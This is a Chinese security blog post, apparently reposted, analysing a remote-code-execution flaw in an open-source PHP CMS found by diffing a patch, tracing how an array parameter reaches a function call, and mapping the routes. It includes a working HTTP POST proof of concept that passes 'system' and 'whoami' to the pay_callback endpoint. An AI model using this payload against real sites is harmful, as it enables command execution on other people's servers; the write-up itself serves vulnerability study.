记一次rce漏洞的代码分析

admin 2024年6月21日13:09:41评论26 views字数 2970阅读9分54秒阅读模式

记一次rce漏洞的代码分析

前几日在浏览github项目时,发现之前审计过的一个cms更新了,从日志中看到修复了一个安全漏洞,并且源码是开源的,所以根据版本对比找到修补的地方,进而发现一个命令执行的漏洞

前几日在浏览github项目时,发现之前审计过的一个cms更新了,从日志中看到修复了一个安全漏洞,并且源码是开源的,所以根据版本对比找到修补的地方,进而发现一个命令执行的漏洞

0x01 漏洞发现

前几日在浏览github项目时,发现之前审计过的一个cms更新了,从日志中看到修复了一个安全漏洞,由于源码是开源的,所以可以根据版本对比找到修补的地方,进而发现其修复的地方。

记一次rce漏洞的代码分析

然后查看修改记录,最后锁定这样一处可疑的地方,因为只有这里对参数进行了判断。修复方式时通过对post传入的参数进行了判断是否为空且是否为字符串

记一次rce漏洞的代码分析

然后我们下载未修复的版本,使用phpstrom定位到代码进行审计。

0x02 漏洞分析

了解了该cms的路由,接下来查看被修复的这个地方,通过POST传参out_trade_no之后传递给了下面的where语句

关键语句:

$out_trade_no = $_POST['out_trade_no'];
$order = D('order')->field('id,order_sn,status,userid,username,paytype,money,quantity,`type`,`desc`')->where(array('order_sn' => $out_trade_no))->find();

通过这个代码可以分析出是执行了数据库查询的语句,但是这里也不可能发生sql注入,应为where语句中的参数采用了数组的传递方式,可以有效的避免sql注入漏洞,因为通过数组传递的参数会经过addslasheshtmlspecialchars的过滤。

记一次rce漏洞的代码分析

所以主要查看where语句中是对out_trade_no是如何处理的

这里对传入的$arr有两种处理方法,首先判断$arr是否为数组,我们先将判断为数组的部分折叠。如果不是数组,则直接拼接到$this->key['where']['str']中返回,这里如果没有对参数做相关过滤会造成sql注入。但是这里传入的是个数组,所以暂时不关注这里

记一次rce漏洞的代码分析

接着我们主要查看where方法时如何处理数组的。

记一次rce漏洞的代码分析

先看前半部分,func_get_args() 是 PHP 中的一个函数,用于获取传递给函数的所有参数。首先会遍历该数组,并且判断对每个值中的键值对进行遍历,其中 $kk 是该数组的键,$vv 是该数组的值。当$vv不是个数组,会根据$vv的值构建SQL语句匹配条件。

在上面的补丁中也强制判断了参数必须是字符串,所以漏洞应该出现在传入的参数时数组的情况下。

所以主要来看一下当$vv为数组的情况下是如何处理的。

记一次rce漏洞的代码分析

这里首先就看到了$fun($rule)这个地方,如果$fun$rule就可以执行任意函数和传参,这里通过一个三元运算符判断的。

这里的$fun$rule又是通过$vv[1]$vv[2]得来的。至于$vv[0]则是通过上面的$exp_arr得到对应的运算符和逻辑表达式。

除此之外,由于$exp也是从$vv[0]得来的,所以在传参是必须有要这个键,从三元表达式可以看出,该值可以为空,也可以是从$exp_arr中的任意一个键

了解完漏洞的原理,其次会对该cms的路由进行分析,查看怎样才能触发这个函数。

0x03 路由分析

经过分析该cms有三种获取路由信息的方式:

在初始化过程会在这里解析PATH_INFO模式,这里会先判断是否存在$_GET['s'],如果存在则直接赋值给PATH_INFO

记一次rce漏洞的代码分析

或者对url路径使用/为分隔符,并去除结尾的.html后缀和index.php,然后分别取第一位第二位和第三位作为$_GET['m'],$_GET['c'],$_GET['a']

记一次rce漏洞的代码分析

然后根据route_m``route_c``route_a这几个方法分别通过从url中获取m c a参数作为模块名,控制器名和方法名。

记一次rce漏洞的代码分析

通过这种方式可以得出

第一种路由信息为http://127.0.0.1/s=模块名/控制器名/方法名

第二种路由信息为:http://127.0.0.1/模块名/控制器名/方法名.html

第三种路由信息为http://127.0.0.1/?m=模块名&c=控制器名&a=方法名

所对应的文件路径为 ./application/模块名/controller/控制器.php,所对应的方法则是传递过来的方法

0x04 漏洞复现

接下来查看他的路由

记一次rce漏洞的代码分析

所以这里构建poc:

POST /?m=pay&c=index&a=pay_callback HTTP/1.1
Host: 127.0.0.1:8081
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

out_trade_no[0]=eq&out_trade_no[1]=whoami&out_trade_no[2]=system

记一次rce漏洞的代码分析

成功执行命令。

0x05 举一反三

既然知道了出发点是通过where语句的,并且从官方的修复方式来看只是对传参的地方做了修复,那会不会存在其他对参数控制不严的地方直接拼接到where语句。首先可以再找找哪里调用where语句,并且满足以下条件:参数必须是以数组形式传递的,并且传递的数组的值是可控的。

使用正则->where(array(.*?)->进行搜索,然后寻找传递的数组的值是可控的的地方,当然也可以使用正则->where()->进行搜索,因为参数是在别的地方复制的数组类型。

记一次rce漏洞的代码分析

这里找到这样一处,在后台添加管理员的地方,这里的$_POST["adminname"]是直接传参的

记一次rce漏洞的代码分析

登陆后台后点击管理员管理,在点击添加管理员,

记一次rce漏洞的代码分析

随便输入用户名和密码,然后抓包

记一次rce漏洞的代码分析

然后修改roleid为下面payload发包

记一次rce漏洞的代码分析

文章来源:奇安信攻防社区

作者:中铁13层打工人

链接:https://forum.butian.net/share/3077

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

原文始发于微信公众号(黑白之道):记一次rce漏洞的代码分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月21日13:09:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次rce漏洞的代码分析http://cn-sec.com/archives/2870817.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息